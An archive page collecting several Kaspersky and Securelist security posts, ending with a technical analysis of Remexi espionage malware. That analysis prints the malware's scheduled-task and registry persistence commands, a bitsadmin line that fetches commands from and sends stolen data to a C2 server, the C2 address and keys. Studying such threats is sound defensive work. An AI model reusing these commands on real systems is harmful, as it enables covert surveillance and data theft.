Category Archives: large

Kaspersky Lab official blog: Cloud migration: Not so fast!

In recent years, analysts and visionaries have been talking nonstop about digital transformation, viewing migration to a public cloud as an integral part of it. On the whole, they are likely to be right. But from our point of view, the idea that by 2020 everyone will have migrated most of their workloads to the cloud looks rather optimistic. The process is undoubtedly underway, but it is going much slower than enthusiasts like to think.

Migration into the public cloud

In fact, the migration depends on markets considerably. For North America, the real dynamics might actually approach forecast levels. There, business integration with public clouds is being aggressively pursued in all business segments and verticals — including enterprise customers. That is largely because it is the home market for the largest cloud service providers, and above all Amazon Web Services (AWS). In their home market, cloud service providers have more market penetration, capabilities, and data centers, allowing them to provide clients with the requisite capacity and, if necessary, guarantee compliance with legal data-processing requirements.

But elsewhere, even in well-developed European markets, we see a different picture. Our market research and client feedback show that despite a constantly growing interest in all cloud service models, it is premature to speak of any kind of mega-trend, especially as regards enterprise companies — which, in the context of the evolution of Kaspersky Hybrid Cloud Security (which protects private, hybrid, and public clouds), are of primary interest to us (80% of clients that use the solution are big businesses). Why is this? It seems that at present, full migration is unattainable because of a number of obstacles.

Pros

In fact, companies would gladly migrate to a public cloud. The first reason is the obvious economic benefits. In the case of SMBs, it would be a sure way to reduce infrastructure costs and stay with more preferable operational expenditures rather than capital expenditures. But for most enterprise companies that already have CAPEX spending, the economic factor is less significant (although that depends on the particular business, of course).

For enterprises, the top reason for migrating skyward is instead the opportunity for rapid infrastructure growth and an elastic approach to any kind of business workloads. A public cloud (especially IaaS) offers a super-convenient environment for instant access to technology stacks that usually have no local equivalent (well, there are always exceptions — e.g., Azure Stack). Sure, you can try to recreate the same level of flexibility on a local platform, say in a private cloud, but it will be eye-wateringly expensive, especially the administration.

Meanwhile, public cloud providers are not sitting idle, and are constantly improving their technology stacks. For example, they now offer services to quickly build, ship, and run containers (Container as a Service) or use the FaaS (Function as a Service) model for serverless architectures, completely abstracting away from concepts such as “virtual machine,” “instance,” and the like. Providers give the client a pure development environment and charge only for function execution time — a great approach for microservices apps. These trends are only emerging, but in five years such services will be run-of-the-mill.

All in all, then, a public cloud is an ideal platform for many things such as development, testing, rapid service, and product delivery, making it the de facto standard for IT companies of any size even now.

Speaking of product delivery, another major reason for cloud migration (one that can apply to any kind of company) is the possibility of significantly reducing time-to-market. That is, the ability to deploy some business functions and processes in a public cloud, and thus deliver products or services to the end user much faster, simply because everything is faster in the cloud.

Cons

But there are also obstacles to migration that prevent many companies from moving most of their workloads and data to public clouds. Chief among them are the numerous regulators and their strict data-processing requirements. And don’t think this pertains exclusively to the infamous GDPR — the phenomenon stalks virtually all markets in one form or another.

The very concept of a public cloud is rooted in the uniform distribution of information and processing load across all available capacities. It is through this that accessibility, scalability, and fault tolerance are achieved. Many regulators, meanwhile, require that data belonging to residents of a particular country be processed and stored only in its territory. But cloud-solution providers cannot guarantee the location of information storage data centers. So, for some businesses, especially large multinational enterprises and government agencies, migration is not an option.

The other common issue is security concern, but, frankly speaking, it’s fading. Businesses are starting to acknowledge that cloud environments often can be even better secured than the companies’ own premises. It’s still important to keep in mind that different service models require different security efforts from a customer perspective. IaaS (Infrastructure-as-a-Service) is the most responsible model — with full control of your workloads comes full responsibility for their protection. An IaaS provider is responsible for protecting your infrastructure but not, for example, keeping ransomware away from your EC2 instance. It is a so-called shared responsibility model. To protect IaaS properly and to enjoy all of its features fully, customers should use specialized cloud security solutions (such as Kaspersky Hybrid Cloud security), which are quite different from traditional endpoint protection platforms.

Amazon Shared Responsibility Model

Shared responsibility model. Source: aws.amazon.com

As you can see, the pros of migration greatly outweigh the cons, but some companies face an unmovable obstacle. As a result, two simultaneous yet divergent processes are in play: globalization and localization.

Therefore, we are now witnessing a fairly stabilizing trend toward the emergence of local IaaS and PaaS (Platform-as-a-Service) providers. They see the demand for public clouds yet understand that not everyone can use a global heavyweight. Despite lacking the most advanced technologies such as AWS or MS Azure, local players can guarantee that all data is stored and processed within the territory of one country.

At the same time, global providers continue to grow and develop, offering more — and more-effective — technologies.

Perhaps most interesting, many companies are moving toward a multicloud strategy, using different cloud providers for different workloads and processes.

As a global vendor of cybersecurity solutions, we see this trend and believe that successful cloud workload protection demands cooperation and integration with both local and global cloud providers. That is why Kaspersky Hybrid Cloud Security is constantly supporting new cloud and virtualization platforms as well as different deployments. Seven years ago, we started with the protection of on-premises virtualization and private clouds, and now we provide unified protection for hybrid and public clouds.

February 26–27, 2019, we will be at the AWS Summit in Berlin, where our tech experts will do demos of how Kaspersky Hybrid Cloud Security resides in the AWS ecosystem and natively integrates into it. Visit us at booth B09 to learn more about our solution. See here for details of our participation in the event.



Kaspersky Lab official blog

Securelist: DNS Manipulation in Venezuela in regards to the Humanitarian Aid Campaign

Venezuela is a country facing an uncertain moment in its history. Reports suggests it is in significant need of humanitarian aid.

On February 10th, Mr. Juan Guaidó made a public call asking for volunteers to join a new movement called “Voluntarios por Venezuela” (Volunteers for Venezuela). According to the media, it already numbers thousands of volunteers, willing to help international organizations to deliver humanitarian aid to the country. How does it work? Volunteers sign up and then receive instructions about how to help. The original website asks volunteers to provide their full name, personal ID, cell phone number, and whether they have a medical degree, a car, or a smartphone, and also the location of where they live:

This website appeared online on February 6th. Only a few days later, on February 11th, the day after the public announcement of the initiative, another almost identical website appeared with a very similar domain name and structure.

In fact, the false website is a mirror image of the original website, voluntariosxvenezuela.com

Both the original and the false website use SSL from Let’s Encrypt. The differences are as follows:

Original voluntariosxvenezuela.com website Deception website
First day on the Internet, Feb 6th First day on the Internet, Feb 11th
Whois information:

Registered on the name of Sigerist Rodriguez on Feb 4, 2019

Whois information:

Registered via GoDaddy using Privacy Protection feature on Feb 11, 2019

Hosted on Amazon Web Services Hosted first on GoDaddy and then on DigitalOcean

Now, the scariest part is that these two different domains with different owners are resolved within Venezuela to the same IP address, which belongs to the fake domain owner:

That means it does not matter if a volunteer opens a legitimate domain name or a fake one, in the end will introduce their personal information into a fake website.

Both domains if resolved outside Venezuela present different results:

Kaspersky Lab blocks the fake domain as phishing.

In this scenario, where the DNS servers are manipulated, it’s strongly recommended to use public DNS servers such as Google DNS servers (8.8.8.8 and 8.8.4.4) or CloudFlare and APNIC DNS servers (1.1.1.1 and 1.0.0.1). It’s also recommended to use VPN connections without a 3rd party DNS.



Securelist

Securelist: DDoS Attacks in Q4 2018

News overview

In Q4 2018, security researchers detected a number of new botnets, which included not only Mirai clones for a change. The fall saw increased activity on the part of the Chalubo bot, whose first attacks were registered in late August. Although the new malware employs snippets of Mirai code and the same persistence techniques as in the Xor.DDoS bot family, Chalubo is mostly a fresh product designed solely for DDoS attacks (for example, one of the detected samples was a SYN flood one). In October, Chalubo began to be seen more often in the wild; researchers detected versions created for different architectures (32- and 64-bit ARM, x86, x86_64, MIPS, MIPSEL, PowerPC), which strongly suggests that the test period is over.

Also in October, details were released of the new Torii botnet, which Avast experts detected a month earlier. The botnet is aimed at a wide range of IoT devices and architectures. Its code differs significantly from Mirai — the malware is better hidden with a higher level of persistence, and thus promises to be far more dangerous. The malware collects and sends detailed information about infected devices to its C&C server, including host name and process ID, but for what purpose remains unclear. No DDoS attacks based on Torii botnets were detected, but experts believe that it’s still early days.

Another bot from last quarter, nicknamed DemonBot, caught the eye for hijacking Hadoop clusters through a vulnerability in the execution of YARN remote commands. This bot is not very complex technically, but dangerous in its choice of target: Hadoop clusters pack a major punch in terms of computing power because they are designed to handle Big Data. What’s more, being cloud-integrated, they can significantly boost DDoS attacks. Radware is currently monitoring 70 active servers that carry out up to 1 million infections per day. DemonBot is compatible not only with Hadoop clusters, but with most IoT devices, which makes it easy to re-aim at more numerous targets.

Last quarter, experts warned not only about new botnets, but new attack mechanisms, too. At the beginning of winter, for instance, it turned out that FragmentSmack was more widely deployable than previously thought. This attack exploits a vulnerability in the IP stack, which enables defective packets to be sent disguised as fragments of a larger message. The resource under attack tries to gather these packets into one, or places them in an endless queue, which takes up all its computational power and renders it incapable of handling legitimate requests. FragmentSmack was believed to be a threat only to Linux systems, but in December researchers from Finland discovered that it works fine with Windows 7, 8.1, 10, Windows Server, and 90 Cisco products.

Another promising attack method uses the CoAP protocol approved for widespread application in 2014. It is designed to facilitate communication between devices with a small amount of memory, making it ideal for the IoT. Since CoAP is based on the UDP protocol, it has inherited all the latter’s defects, which means it can be harnessed to boost DDoS attacks. Until now, this has not been a significant problem; however, experts note that during the November 2017–November 2018 period, the number of devices using CoAP increased almost 100 times, which is a major cause for concern.

Alongside new potential means for staging attacks, late 2018 saw the arrival of a new DDoS launch platform, called 0x-booter. First discovered on October 17, 2018, the service can support attacks with a capacity of up to 420 Gb/s based on just over 16,000 bots infected with Bushido IoT malware, a modified version of Mirai. Borrowing code from this kindred service, the platform is dangerous for its simplicity, low cost, and relative power: For just $20–50, anyone can use the simple interface to launch one of several types of attack against a target. According to the researchers, in the second half of October alone the service was utilized in more than 300 DDoS attacks.

It was with such resources that a powerful DDoS campaign was carried out throughout October against Japanese video game publisher Square Enix. The first wave came at the start of the month, coinciding with an attack on their French colleagues from Ubisoft (seemingly timed for the release of Assassin’s Creed Odyssey on October 4). The second wave hit a couple of weeks later. The attacks cut users off from the service for up to 20 hours.

Other than that, the end of the year was marked less by high-profile DDoS attacks than by attempts to reduce their frequency. Based on a report by cybersecurity researchers, the US Council on Foreign Relations (CFR) called for a global initiative of both public and private organizations to reduce the number of botnets.

Nor are law enforcement agencies asleep at the wheel. In October, US citizen Austin Thompson was found guilty of organizing a number of DDOS attacks in 2013–14. His victims included video game streamers as well as major game developers EA, Sony, Microsoft, and others.

In early December, British teenager George Duke-Cohan, who organized DDoS attacks against IT blogger Brian Krebs, the DEF CON convention, and government organizations in several countries, was sentenced to three years in prison — but not as yet for these incidents, but for making bomb hoax threats to numerous British schools and San Francisco Airport. Further charges could be brought against him in the US.

And around Christmas time, the FBI put a stop to 15 DDoS-as-a-Service sites, charging three suspects with running the platforms. The operation is of interest because many of the domains brought down had long escaped the eyes of the law by masquerading as stress testing sites. As the FBI uncovered, some of the services were complicit in a recent string of attacks on gaming portals.

In 2018, we recorded 13% less DDoS activity than in the previous year. A drop in the number of attacks over this period was observed in each quarter, except the third, which outstripped Q3 2017 due to an anomalously active September. The biggest decrease was seen in Q4, with the number of attacks only 70% of the 2017 figure.

&&

Quarterly comparison of the number of DDoS attacks defeated by Kaspersky DDoS Protection in 2017–2018 (100% = number of attacks in 2017) (download)

The average duration of attacks in H2 grew steadily over the year: from 95 minutes in Q1 to 218 in Q4.

The most common type of attack by a wide margin is UDP flooding, as reflected in our reports for the last few quarters. However, when comparing attacks by their duration, the situation is quite different. First place goes to HTTP floods and mixed attacks with an HTTP element — they account for around 80% of all DDoS attack activity. Conversely, the UDP attacks we observed this year rarely lasted more than 5 minutes.

&&

Distribution of attack duration by type, 2018 (download)

All this suggests that the market for unsophisticated, easy-to-organize attacks continues to shrink, as we predicted would happen. Standard DDoS attacks have been rendered almost pointless by improved anti-UDP flood protection, plus the fact that the technical resources involved are nearly always more profitably deployed for other purposes, such as cryptocurrency mining.

Many short attacks of this kind can be interpreted as simply testing the water (on the off-chance that the target is not secure). It only takes a few minutes for the cybercriminals to figure out that their tools are ineffective and call off the attack.

At the same time, more complex attacks such as HTTP floods, which require time and effort to arrange, remain popular, and their duration is on an upward curve.

These trends look set to develop further in 2019: the total number of attacks will fall amid growth in the duration, power, and impact of well-targeted offensives. A rise in professionalism is also in the cards. Given that most resources are totally unaffected by primitive attempts to disrupt their operation, DDoS attack organizers will have to raise their technical level, as their clients would seek out more professional implementers.

Statistics

Methodology

Kaspersky Lab has a long history of combating cyber threats, including DDoS attacks of all types and complexity. Company experts monitor botnets using the Kaspersky DDoS Intelligence system.

A part of Kaspersky DDoS Protection, the DDoS Intelligence system intercepts and analyzes commands received by bots from C&C servers. The system is proactive, not reactive, meaning that it does not wait for a user device to get infected or a command to be executed.

This report contains DDoS Intelligence statistics for Q4 2018.

In the context of this report, the incident is counted as a single DDoS-attack only if the interval between botnet activity periods does not exceed 24 hours. For example, if the same web resource was attacked by the same botnet with an interval of 24 hours or more, then this is considered as two attacks. Bot requests originating from different botnets but directed at one resource also count as separate attacks.

The geographical locations of DDoS-attack victims and C&C servers used to send commands are determined by their respective IP addresses. The number of unique targets of DDoS attacks in this report is counted by the number of unique IP addresses in the quarterly statistics.

DDoS Intelligence statistics are limited to botnets detected and analyzed by Kaspersky Lab. Note that botnets are just one of the tools used for DDoS attacks, and that this section does not cover every single DDoS attack that occurred during the review period.

Quarter summary

  • China still tops the leaderboard by number of DDoS attacks, but its share fell quite significantly, from 77.67% to 50.43%. The US retained second position (24.90%), and Australia came third (4.5%). The Top 10 waved goodbye to Russia and Singapore, but welcomed Brazil (2.89%) and Saudi Arabia (1.57%).
  • By geographical distribution of targets, the leaders remain China (43.26%), the US (29.14%), and Australia (5.91%). That said, China’s share fell significantly, while all other Top 10 countries increased theirs.
  • Most of the botnet-based attacks last quarter occurred in October; holiday and pre-holiday periods were calmer. In terms of weekly dynamics, attack activity rose mid-week and decreased towards the end.
  • Q4 witnessed the longest attack seen in recent years, lasting almost 16 days (329 hours). In general, the share of short attacks decreased slightly, but the fluctuations were minor.
  • The share of UDP floods increased significantly to almost a third (31.1%) of all attacks. However, SYN flooding is still leading (58.2%).
  • In connection with the rising number of Mirai C&C servers, the shares of the US (43.48%), Britain (7.88%), and the Netherlands (6.79%) increased.

Attack geography

In the last quarter of 2018, China still accounted for most DDoS attacks. However, its share was down by more than 20 p.p.: from 77.67% to 50.43%.

Meanwhile, the share of the US, which took second place, almost doubled to 24.90%. As in the previous quarter, bronze went to Australia. Its share also practically doubled: from 2.27% to 4.5%. Hong Kong’s share rose only slightly (from 1.74% to 1.84%), causing it to drop to sixth place, ceding fourth position to Brazil. The latter’s indicators had been quite modest up to now, but this quarter its share was 2.89%.

An unexpected newcomer in the ranking was Saudi Arabia, whose share climbed to 1.57%, good enough for seventh spot. This time, the Top 10 had no room for Russia and Singapore. South Korea, having ranked in the Top 3 for several years before dropping to 11th in Q3, not only failed to return to the Top 10, but fell even lower, nosediving to 25th.

The shares of the other top-tenners also increased compared with summer and early fall. The same applies to the total share of countries outside the Top 10 — it increased by more than 5 p.p., from 2.83% to 7.90%.

&&

Distribution of DDoS attacks by country, Q3 and Q4 2018 (download)

The distribution of targets by country corresponds to the distribution pattern for number of attacks: China still leads, but its share fell by just over 27 p.p., from 70.58% to 43.26%. The US remains second, although its share grew from 17.05% to 29.14%. Third place again belongs to Australia, also with an increased share (5.9%).

Russia and South Korea, until recently considered Top 10 regulars, slipped well down — as in the rating by number of attacks, they finished 17th and 25th, respectively. They were replaced by new entrants Brazil (2.73%) in fourth place and Saudi Arabia (2.23%) in fifth. The shares of all other countries, as in the previous ranking, also rose slightly. Twofold growth was observed in the case of Canada (from 1.09% to 2.21%), whose results in the past few quarters have fluctuated around 1%, never exceeding 1.5%.

The share of the countries outside of Top 10 almost tripled: from 3.64% to 9.32%.

&&

Distribution of unique DDoS-attack targets by country, Q3 and Q4 2018 (download)

Dynamics of the number of DDoS attacks

Most of the attack peaks occurred at the start of the quarter (October), with another small surge of activity coming in early December. Unlike last year, there were no clear-cut spikes connected to the autumn and winter holidays, rather the opposite: post-festive periods were quieter. The stormiest days were October 16 and 18, and December 4; the calmest was December 27.

&&

Dynamics of the number of DDoS attacks in Q4 2018  (download)

Whereas Q3 attacks were distributed relatively evenly over the days of the week, in Q4 the differences were more pronounced. The quietest day was Sunday (12.02% of attacks), the most active was Thursday: 15.74% of DDoS attacks occurred mid-week. Some correlation can be seen here with the distribution of attacks by date: both weekends and holidays in the previous quarter were calmer.

&&

Distribution of DDoS attacks by day of the week, Q3 and Q4 2018 (download)

Duration and types of DDoS attacks

The longest Q4 attack we monitored lasted a near record-breaking 329 hours (almost 14 days); for a longer attack, we have to go back to late 2015. That is approximately 1.5 times the duration of the previous quarter’s longest attack of 239 hours (about 10 days).

The total share of attacks longer than 140 hours in the previous quarter increased only slightly (+0.01 p.p.) to 0.11%. The proportion of relatively long attacks (50–139 hours) also increased, from 0.59% to 1.15%. However, the most significant rise was observed in the category of 5–9 hour attacks: from 5.49% to 9.40%.

Accordingly, the share of short attacks less than 4 hours in duration decreased slightly, to 83.34%. For comparison, in Q3 they accounted for 86.94% of all attacks.

&&

Distribution of DDoS attacks by duration (hours), Q3 and Q4 2018 (download)

The distribution of attacks by type in the last quarter underwent a bit of a shakeup. SYN flooding remains the most common, but its share dropped from 83.20% to 58.20%. That allowed UDP flooding to increase its share to almost a third of all types of DDoS attacks (31.10%), up from the more modest 11.90% in Q3.

In third place was TCP flooding, whose share also rose — to 8.40%. The share of attacks via HTTP dropped to 2.20%. In last place again, with its share falling to 0.10%, was ICMP flooding.

&&

Distribution of DDoS attacks by type, Q4 2018 (download)

The ratio of Windows and Linux botnets barely moved against Q3. The share of Linux botnets increased slightly, up to 97.11%. Accordingly, the share of Windows botnets dropped by the same margin (1.25 p.p.) to 2.89%.

&&

Ratio of Windows/Linux botnet attacks, Q3 and Q4 2018 (download)

Botnet distribution geography

The US remains out in front in terms of botnet C&C server hosting, even extending its lead from 37.31% to 43.48%. Slipping to seventh, Russia (4.08%) ceded second place to Britain (7.88%). Bronze went to the Netherlands, whose share increased from 2.24% to 6.79%. Significantly, all this growth is attributable to the rising number of Mirai C&C servers.

Italy and the Czech Republic vacated the Top 10 of botnet-rich countries, while Germany (5.43%) and Romania (3.26%) moved in. China (2.72%) continues to lose ground, clinging on to tenth position in Q4.

&&

Distribution of botnet C&C servers by country, Q4 2018 (download)

Conclusion

For the third quarter in a row, the Top 10 ratings of countries by number of attacks, targets, and botnet C&C servers continue to fluctuate. Growth in DDoS activity is strongest where previously it was relatively low, while the once-dominant countries have seen a decline. This could well be the result of successful law enforcement and other initiatives to combat botnets. Another reason could be the emergence of better communications infrastructure in regions where DDoS attacks used to be infeasible.

If the trend continues, next quarter’s Top 10 will likely feature some more new entries, and in the long run, the shares of different countries could start to even out.



Securelist

Kaspersky Lab official blog: Cyber criminals intercept codes used for banking – to empty your accounts

Two factor authentication (2FA) is a method widely used by the financial institutions worldwide to keep their customers’ money safe: you know, those short 4-6-digit codes you receive from your bank that you have to input to approve a transaction. Usually, banks send those one-time passwords in SMS text messages. Unfortunately, SMS is one of the weakest ways to implement 2FA, as text messages can be intercepted. And that is what has just happened in the UK.

Telecom protocol SS7 hacked by crooks to steal your banking two-factor authentication codes.

How can the criminals get your text messages? Well, there are different ways, and one of the most extravagant is exploiting a security flaw in SS7, a protocol used by telecommunications companies to coordinate how they route texts and calls (you can read more about it in this post). SS7 network does not care who sent the request. So, if malefactors manage to access it, the network will follow their commands to route text messages or calls, as if those commands were legitimate.

The whole scheme looks as follows: the cyber criminals first obtain a target’s online banking username and password — possibly via phishing or keyloggers or Banking Trojans. Then, they log in to the online bank and request a money transfer. Nowadays, most banks would ask for additional confirmation of the transfer and send a code for verification to the account owner. If the bank does it in form of a text message, this is where malefactors exploit the SS7 vulnerability: they intercept the text and enter the code, as if they had your phone. Banks accept that transfer as totally legitimate, because the transaction had been authorized twice: once with your password, and then with the one-time code. So, the money goes to the criminals.

The UK’s Metro Bank has just confirmed to Motherboard that some of its customers had been impacted by this type of fraud. Back in 2017, Süddeutsche Zeitung reported that German banks had also faced the same problem.

But there is some good news too. As Metro Bank itself comments, an extremely small number of its clients had to deal with such an issue and “none have been left out of pocket as a result.”

The whole thing could’ve been avoided if the banks used some other form of 2FA that doesn’t rely on text messages (for example, an authenticator app or, say, a hardware-based authenticator such as Yubikey). Unfortunately, at the moment financial institutions (with rare exceptions) typically do not allow any other means of two-factor authentication other than SMSs. Let’s hope that in the nearest future more and more banks worldwide will be offering other choices to the clients in order to protect them better.

So, the takeaway from this story is the following:

  • It’s good to use two-factor authentication wherever possible, but it’s even better to use secure versions of 2FA such as authenticator apps or Yubikeys. Try using these instead of SMS if such option is available.
  • Use a reliable antivirus solution to keep Banking Trojans and keyloggers off your systems – so that they can’t steal your logins and passwords and situations like that won’t bother you too much.


Kaspersky Lab official blog

Kaspersky Lab official blog: Hunting for Office 365 accounts

Since at least last summer, unknown cybercriminals have been sending e-mails to Office 365 users, hoping to swindle credentials out of them. According to the researchers who first uncovered this attack, up to 10% of all users of the service could have received such a message.

PhishPoint campaign

The scam e-mails look like standard invitations to collaborate in SharePoint. The recipient is prompted to open a document stored in OneDrive for Business. The trick is that the link in the e-mail really does point to a document in OneDrive for Business, but this document is disguised as an access request. The “Access Document” link at the bottom of the page redirects the victim to a third-party site masked as the Microsoft Office 365 login page.

Corporate workspaces are seen as more trustworthy than other resources, and users may be under the impression that outsiders cannot readily gain access to SharePoint services, so they boldly follow the link to the scam website. If the victim enters work credentials on this site, they will become available to the owners of the file.

With these credentials, cybercriminals can potentially get hold of all of the victim’s privileges, including access to e-mail, cloud storage, and confidential business information. Hiding behind a corporate account, scammers can steal sensitive information for competitors, spread malware, or use employee names and project information for spear-phishing purposes.

The cunning part is that the mail filters check the link in the message. And it is completely clean; it points to a document in a workspace with an impeccable reputation. But on accessing this document, the user effectively leaves the jurisdiction of the mail filters, whereupon protection is in the hands of the security solution installed directly on their computer.

How to protect your business and employees

Here are some tips to increase employee vigilance and improve company security against this and similar attacks:

  • Tell staff who use Office 365 about the scheme. It’s very rare links to documents are sent on the spur of the moment, without any discussion. So before opening a document sent without any explanation, always check with the person who you think sent it.
  • View, and tell staff to view, e-mails from unknown addresses with a particularly critical eye, and follow up on suspicions.
  • Protect every employee workstation with an endpoint cybersecurity solution. This protection is vitally important to counter phishing schemes like this.


Kaspersky Lab official blog

Kaspersky Lab official blog: Transatlantic Cable podcast, episode 76

The 76th edition of the Kaspersky Lab Transatlantic Cable Podcast, David and I cover a number of stories pertaining to privacy and, surprisingly, browsers. To start things off, we look at the issue that Apple faced earlier in the week where a bug in FaceTime that was reported by a kid wound up in the public eye.

Following that tale, we jump into a stranger-than-fiction story about Facebook and their controversial tactic to have users install a VPN to share their data with Facebook. The kicker is that the target audience included kids.

Following Facebook, we stay on the privacy bandwagon and look at the work that Mozilla did to improve the latest version of Firefox. We close out the podcast bidding happy trails to Internet Explorer 10. If you like the podcast, please consider sharing with your friends or subscribing below; if you are interested in the full text of the articles, please click the links below.



Kaspersky Lab official blog

Securelist: Chafer used Remexi malware to spy on Iran-based foreign diplomatic entities

Executive Summary

Throughout the autumn of 2018 we analyzed a long-standing (and still active at that time) cyber-espionage campaign that was primarily targeting foreign diplomatic entities based in Iran. The attackers were using an improved version of Remexi in what the victimology suggests might be a domestic cyber-espionage operation. This malware has previously been associated with an APT actor that Symantec calls Chafer.

The malware can exfiltrate keystrokes, screenshots, browser-related data like cookies and history, decrypted when possible. The attackers rely heavily on Microsoft technologies on both the client and server sides: the Trojan uses standard Windows utilities like Microsoft Background Intelligent Transfer Service (BITS) bitsadmin.exe to receive commands and exfiltrate data. Its C2 is based on IIS using .asp technology to handle the victims’ HTTP requests.

Remexi developers use the C programming language and GCC compiler on Windows in the MinGW environment. They most likely used the Qt Creator IDE in a Windows environment. The malware utilizes several persistence mechanisms including scheduled tasks, Userinit and Run registry keys in the HKLM hive.

XOR and RC4 encryption is used with quite long unique keys for different samples. Among all these random keys once the word “salamati” was also used, which means “health” in Farsi.

Kaspersky Lab products detect the malware described in this report as Trojan.Win32.Remexi and Trojan.Win32.Agent. This blogpost is based in our original report shared with our APT Intelligence Reporting customers last November 2018. For more information please contact: intelreports@kaspersky.com

Technical analysis

The main tool used in this campaign is an updated version of the Remexi malware, publicly reported by Symantec back in 2015. The newest module’s compilation timestamp is March 2018. The developers used GCC compiler on Windows in the MinGW environment.

Inside the binaries the compiler left references to the names of the C source file modules used: “operation_reg.c”, “thread_command.c” and “thread_upload.c”. Like mentioned in modules file names the malware consists of several working threads dedicated to different tasks, including C2 command parsing and data exfiltration. For both the receiving of C2 commands and exfiltration, Remexi uses the Microsoft Background Intelligent Transfer Service (BITS) mechanism to communicate with the C2 over HTTP.

Proliferation

So far, our telemetry hasn’t provided any concrete evidence that shows us how the Remexi malware spread. However, we think it’s worth mentioning that for one victim we found a correlation between the execution of Remexi´s main module and the execution of an AutoIt script compiled as PE, which we believe may have dropped the malware. This dropper used an FTP with hardcoded credentials to receive its payload. FTP server was not accessible any more at the time of our analysis.

Malware features

Remexi boasts features that allow it to gather keystrokes, take screenshots of windows of interest (as defined in its configuration), steal credentials, logons and the browser history, and execute remote commands. Encryption consists of XOR with a hardcoded key for its configuration and RC4 with a predefined password for encrypting the victim’s data.

Remexi includes different modules that it deploys in its working directory, including configuration decryption and parsing, launching victim activity logging in a separate module, and seven threads for various espionage and auxiliary functions. The Remexi developers seem to rely on legitimate Microsoft utilities, which we enumerate in the table below.

Utility Usage
extract.exe Deploys modules from the .cab file into the working Event Cache directory
bitsadmin.exe Fetches files from the C2 server to parse and execute commands. Send exfiltrated data
taskkill.exe Ends working cycle of modules

Persistence

Persistence modules are based on scheduled tasks and system registry. Mechanisms vary for different OS versions. In the case of old Windows versions like XP, main module events.exe runs an edited XPTask.vbs Microsoft sample script to create a weekly scheduled task for itself. For newer operating systems, events.exe creates task.xml as follows:

Then it creates a Windows scheduled task using the following command:

schtasks.exe /create /TN \"Events\\CacheTask_<user_name_here>" /XML \"<event_cache_dir_path>t /F"

At the system registry level, modules achieve persistence by adding themselves into the key:

HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit

when it finds possible add values to the Winlogon subkey, and in

HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Microsoft Activity Manager. All such indicators of comprometation are mentioned in correspondent appendix below.

Commands

All the commands received from the C2 are first saved to an auxiliary file and then stored encrypted in the system registry. The standalone thread will decrypt and execute them.

Command Description
search Searches for corresponding files
search&upload Encrypts and adds the corresponding files to the upload directory with the provided name
uploadfile Encrypts and adds the specified file to the upload directory with the provided name
uploadfolder Encrypts and adds the mentioned directory to the upload directory with the provided name
shellexecute Silently executes received command with cmd.exe
wmic Silently executes received command with wmic.exe (for WMI commands)
sendIEPass Encrypts and adds all gathered browser data into files for upload to C2
uninstall Removes files, directory and BITS tasks

Cryptography

To decrypt the configuration data, the malware uses XOR with 25-character keys such as “waEHleblxiQjoxFJQaIMLdHKz” that are different for every sample. RC4 file encryption relies on the Windows 32 CryptoAPI, using the provided value’s MD5 hash as an initial vector. Among all these random keys once the word “salamati” was also used, which means “health” in Farsi.

Configuration

Config.ini is the file where the malware stores its encrypted configuration data. It contains the following fields:

Field Sample value Description
diskFullityCheckRatio 1.4 Malware working directory size threshold. It will be deleted if it becomes as large as the free available space multiplied by this ratio
captureScreenTimeOut 72 Probability of full and active window screenshots being taken after mouse click
captureActiveWindowTimeOut 313
captureScreenQC 40 Not really used. Probably full and active window screenshot quality
captureActiveQC 40
CaptureSites VPN*0,0
Login*0,0
mail*0,0
Security*0,0
Window titles of interest for screenshots, using left mouse button and Enter keypress hook
important upLog.txt
upSCRLog.txt
upSpecial.txt
upFile.txt
upMSLog.txt
List of files to send to C2 using bitsadmin.exe from the dedicated thread
maxUpFileSizeKByte 1000000 Maximum size of file uploaded to C2
Servers http://108.61.189.174 Control server HTTP URL
ZipPass KtJvOXulgibfiHk Password for uploaded zip archives
browserPasswordCheckTimeout 300000 Milliseconds to wait between gathering key3.db, cookies.sqlite and other browser files in dedicated thread

Most of the parameters are self-explanatory. However, captureScreenTimeOut and captureActiveWindowTimeOut are worth describing in more detail as their programming logic is not so intuitive.

One of the malware threads checks in an infinite loop if the mouse button was pressed and then also increments the integer iterator infinitely. If the mouse hooking function registers a button hit, it lets the screenshotting thread know about it through a global variable. After that, it checks if the iterator divided by (captureScreenTimeOut/captureActiveWindowTimeOut) has a remainder of 0. In that case, it takes a screenshot.

Main module (events.exe)

SHA256 b1fa803c19aa9f193b67232c9893ea57574a2055791b3de9f836411ce000ce31
MD5 c981273c32b581de824e1fd66a19a281
Compiled GCC compiler in MinGW environment version 2.24, timestamp set to 1970 by compiler
Type I386 Windows GUI EXE
Size 68 608

After checking that the malware is not already installed, it unpacks HCK.cab using the Microsoft standard utility expand.exe with the following arguments:

expand.exe -r \"<full path to HCK.cab>\" -f:* \"<event_cache_dir_path>\\\"

Then it decrypts config.ini file with a hardcoded 25-byte XOR key that differs for every sample. It sets keyboard and mouse hooks to its handlekeys() and MouseHookProc() functions respectively and starts several working threads:

ID Thread description
1 Gets commands from C2 and saves them to a file and system registry using the bitsadmin.exe utility
2 Decrypts command from registry using RC4 with a hardcoded key, and executes it
3 Transfers screenshots from the clipboard to \Cache005 subdirectory and Unicode text from clipboard to log.txt, XOR-ed with the “salamati” key (“health” in Farsi)
4 Transfers screenshots to \Cache005 subdirectory with captureScreenTimeOut and captureScreenTimeOut frequencies
5 Checks network connection, encrypts and sends gathered logs
6 Unhooks mouse and keyboard, removes bitsadmin task
7 Checks if malware’s working directory size already exceeds its threshold
8 Gathers victim´s credentials, visited website cache, decrypted Chrome login data, as well as Firefox databases with cookies, keys, signons and downloads

The malware uses the following command to receive data from its C2:

bitsadmin.exe /TRANSFER HelpCenterDownload /DOWNLOAD /PRIORITY normal <server> <file>
http://<server_config>/asp.asp?ui=<host_name>nrg-<adapter_info>-<user_name>

Activity logging module (Splitter.exe)

This module is called from the main thread to obtain screenshots of windows whose titles are specified in the configuration CaptureSites field, bitmaps and text from clipboard, etc.

SHA256 a77f9e441415dbc8a20ad66d4d00ae606faab370ffaee5604e93ed484983d3ff
MD5 1ff40e79d673461cd33bd8b68f8bb5b8
Compiled 2017.08.06 11:32:36 (GMT), 2.22
Type I386 Windows Console EXE
Size 101 888

Instead of implementing this auxiliary module in the form of a dynamic linked library with its corresponding exported functions, the developers decided to use a standalone executable started by events.exe with the following parameters:

Parameter Description
